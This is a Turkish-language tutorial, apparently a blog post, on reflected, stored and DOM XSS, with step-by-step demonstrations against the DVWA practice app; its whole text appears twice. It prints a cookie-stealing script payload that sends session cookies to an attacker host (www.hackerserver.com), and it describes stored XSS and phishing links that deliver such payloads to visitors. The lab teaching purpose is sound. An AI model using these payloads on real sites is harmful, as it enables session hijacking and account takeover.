XSS(Çapraz Site Betik) saldırıları hedef sitede kontrol yapısı olmayan alanlarda betik kod çalıştırmakla gerçekleştirilir. Bu betik kod HTML de olabilir javascriptte olabilir. Ağırlıklı olarak Javascript kullanılır. XSS reflected ,stored,DOM olarak üçe ayrılır.
1-Reflected XSS: Bu saldırı tipi açıklık bulunan sitede uygun alanlara yazılan javascript kodlarının çalıştırılması ile olur.Burada sadece saldırı yapan kişi etkiyi görebilir ziyaretçilere etki edemez. Peki bunu nasıl atak haline getireceğiz. Burada sosyal mühendislik becerisi devreye giriyor. Email kullanarak hedeflere oluşturduğunuz zararlı linki bir şekilde tıklattırmanız ve kendi sunucunuza yönlendirmeniz gerekiyor. Burada saldırgan sizin sitede mevcut olan cookie bilgilerinizi çalabilir.
2-Stored XSS: Bu saldırı tipi reflected xss saldırısına göre daha çok tehlikelidir. Saldırgan açıklık bulduğu alana zararlı javascript kodlarını ekleyerek veritabanına kaydeder. Veritabanına kaydedilen veriler siteyi ziyaret eden herkese etki eder. Saldırganın koduna göre ziyaretçi etkilenme alanı değişir. Saldırının etki alanına bir örnek vermek gerekirse şöyle bir senaryo düşünelim. Bir bankanın internet bankacılığını kullanıyor olduğunuzu varsaydık. Bu bankanın sitesine giriş yaptınız ve bir işlemi gerçekleştirdiniz. Login olurken site sizin TC,şifre,kredi kartı numaranızı çerezlerde tuttu.Saldırganda bulduğu alana stored xss saldırısı gerçekleştirdi. Siz xss saldırısının gerçekleştiği alana griş yaptığınızda cookie bilgileriniz saldırganın sunucusuna yönlendirilir. Saldırgan da sizin yerinize sanki sizmiş gibi siteye dahil olur ve tüm yapabileceğiniz işlemleri oda gerçekleştirir.
3-DOM XSS Saldırısı: DOM XSS saldırısı en tehlikeli XSS saldırı türüdür. JavaScript kodlarının zararlı bir şekilde kullanılması ile yapılır. Bu saldırı türünde kullanılan DOM nesneleri ile hedef web sitesinin indexi değiştirilebilir, sayfanın kodları ile oynanabilir, virüs, trojan gibi zararlı kodlar sayfaya entegre edilebilir. Sitede gezinirken sizi başka sayfaya yönlendirebilir.
1-Reflected XSS Detaylı Anlatım
Reflected XSS saldırısını DVWA sitesinde test edelim.
Aşama-1: Siteye giriş yaptık ve Reflected XSS bölümüne girdik.
Aşama-2: Textbox alanına ali yazalım ve sonucu görelim.
Aşama-3: Zararlı javascript kodumuzu yazalım ve sonucu görelim.
Submit butonuna tıkladığımızda giriş yaparken sitenin cookie bilgisi olarak tuttuğu alanları görmüş olduk.
Peki saldırgan bundan nasıl faydalanacak. Varsayalım ki saldırganın email vb. yollarla gönderdiği linki tıkladık ve zararlı javascript kodu çalıştı.Saldırgan sizin bu bilgilerinizi kendi sunucusuna yolladı. Bu bilgilerle giriş yapsın.
Aşama-4: Javascript kodunu değiştirilmesi ve cookie bilgilerinin saldırganın adresine yollanması.
Zararlı javascript kodu:
Submit butonuna tıklayınca nasıl bir işlem gerçekleşiyor onu görelim.
Görüldüğü gibi cookie bilgileri www.hackerserver.com adresine gidiyor. Cookie bilgilerini alan saldırgan bu bilgilerle siteye girebilir. Hemde login olmadan.
Stored XSS Detaylı Anlatım
Stored XSS saldırısını DVWA sitesinde test edelim.
Aşama-1: Siteye giriş yaptık ve Stored XSS bölümüne girdik.
Şimdi zararlı javascript kodu eklenebiliyor mu test edelim.
Aşama-3: Message alanına girdiğimiz javascript kodu bizim yorumumuz. Bu yorumu veri tabanına kayıt edecek.Sayfayı ziyaret eden her kullanıcı bu saldırıdan etkilenecek. Biz burada sadece alert ile ekrana mesaj çıkarttık. Ama kullanıcılara bir şey göstermeden onların cookie bilgilerini sunucumuza gönderebiliriz.
Aşama-4: Siteyi ziyaret eden kullanıcıların saldırıdan etkilenmesi aşağıdaki resimdeki gibidir.
Aşama-5: Saldırının dozunu arttıralım. Şimdide veri tabanına siteyi ziyaret eden kullanıcıların cookie bilgilerini saldırganın sunucusuna yollayalım.
Aşama-6: Burp suite ile giden gelen verilere bakalım.
Görüldüğü gibi sayfayı ziyaret eden kullanıcı hiç bir şey fark etmeden bilgilerini www.hackersunucu.com adresine yolladık. Bu cookie bilgileri ile siteye kurban kişiymiş gibi girebiliriz.
1-Reflected XSS: Bu saldırı tipi açıklık bulunan sitede uygun alanlara yazılan javascript kodlarının çalıştırılması ile olur.Burada sadece saldırı yapan kişi etkiyi görebilir ziyaretçilere etki edemez. Peki bunu nasıl atak haline getireceğiz. Burada sosyal mühendislik becerisi devreye giriyor. Email kullanarak hedeflere oluşturduğunuz zararlı linki bir şekilde tıklattırmanız ve kendi sunucunuza yönlendirmeniz gerekiyor. Burada saldırgan sizin sitede mevcut olan cookie bilgilerinizi çalabilir.
2-Stored XSS: Bu saldırı tipi reflected xss saldırısına göre daha çok tehlikelidir. Saldırgan açıklık bulduğu alana zararlı javascript kodlarını ekleyerek veritabanına kaydeder. Veritabanına kaydedilen veriler siteyi ziyaret eden herkese etki eder. Saldırganın koduna göre ziyaretçi etkilenme alanı değişir. Saldırının etki alanına bir örnek vermek gerekirse şöyle bir senaryo düşünelim. Bir bankanın internet bankacılığını kullanıyor olduğunuzu varsaydık. Bu bankanın sitesine giriş yaptınız ve bir işlemi gerçekleştirdiniz. Login olurken site sizin TC,şifre,kredi kartı numaranızı çerezlerde tuttu.Saldırganda bulduğu alana stored xss saldırısı gerçekleştirdi. Siz xss saldırısının gerçekleştiği alana griş yaptığınızda cookie bilgileriniz saldırganın sunucusuna yönlendirilir. Saldırgan da sizin yerinize sanki sizmiş gibi siteye dahil olur ve tüm yapabileceğiniz işlemleri oda gerçekleştirir.
3-DOM XSS Saldırısı: DOM XSS saldırısı en tehlikeli XSS saldırı türüdür. JavaScript kodlarının zararlı bir şekilde kullanılması ile yapılır. Bu saldırı türünde kullanılan DOM nesneleri ile hedef web sitesinin indexi değiştirilebilir, sayfanın kodları ile oynanabilir, virüs, trojan gibi zararlı kodlar sayfaya entegre edilebilir. Sitede gezinirken sizi başka sayfaya yönlendirebilir.
1-Reflected XSS Detaylı Anlatım
Reflected XSS saldırısını DVWA sitesinde test edelim.
Aşama-1: Siteye giriş yaptık ve Reflected XSS bölümüne girdik.
Aşama-2: Textbox alanına ali yazalım ve sonucu görelim.
Aşama-3: Zararlı javascript kodumuzu yazalım ve sonucu görelim.
Kod:
<script>alert(********.cookie)</script>
Submit butonuna tıkladığımızda giriş yaparken sitenin cookie bilgisi olarak tuttuğu alanları görmüş olduk.
Peki saldırgan bundan nasıl faydalanacak. Varsayalım ki saldırganın email vb. yollarla gönderdiği linki tıkladık ve zararlı javascript kodu çalıştı.Saldırgan sizin bu bilgilerinizi kendi sunucusuna yolladı. Bu bilgilerle giriş yapsın.
Aşama-4: Javascript kodunu değiştirilmesi ve cookie bilgilerinin saldırganın adresine yollanması.
Zararlı javascript kodu:
Kod:
<script>id = ********.cookie; window.********.assign(http://www.hackerserver.com?id= + id)</script>
Submit butonuna tıklayınca nasıl bir işlem gerçekleşiyor onu görelim.
Görüldüğü gibi cookie bilgileri www.hackerserver.com adresine gidiyor. Cookie bilgilerini alan saldırgan bu bilgilerle siteye girebilir. Hemde login olmadan.
Stored XSS Detaylı Anlatım
Stored XSS saldırısını DVWA sitesinde test edelim.
Aşama-1: Siteye giriş yaptık ve Stored XSS bölümüne girdik.
Şimdi zararlı javascript kodu eklenebiliyor mu test edelim.
Aşama-3: Message alanına girdiğimiz javascript kodu bizim yorumumuz. Bu yorumu veri tabanına kayıt edecek.Sayfayı ziyaret eden her kullanıcı bu saldırıdan etkilenecek. Biz burada sadece alert ile ekrana mesaj çıkarttık. Ama kullanıcılara bir şey göstermeden onların cookie bilgilerini sunucumuza gönderebiliriz.
Aşama-4: Siteyi ziyaret eden kullanıcıların saldırıdan etkilenmesi aşağıdaki resimdeki gibidir.
Aşama-5: Saldırının dozunu arttıralım. Şimdide veri tabanına siteyi ziyaret eden kullanıcıların cookie bilgilerini saldırganın sunucusuna yollayalım.
Aşama-6: Burp suite ile giden gelen verilere bakalım.
Görüldüğü gibi sayfayı ziyaret eden kullanıcı hiç bir şey fark etmeden bilgilerini www.hackersunucu.com adresine yolladık. Bu cookie bilgileri ile siteye kurban kişiymiş gibi girebiliriz.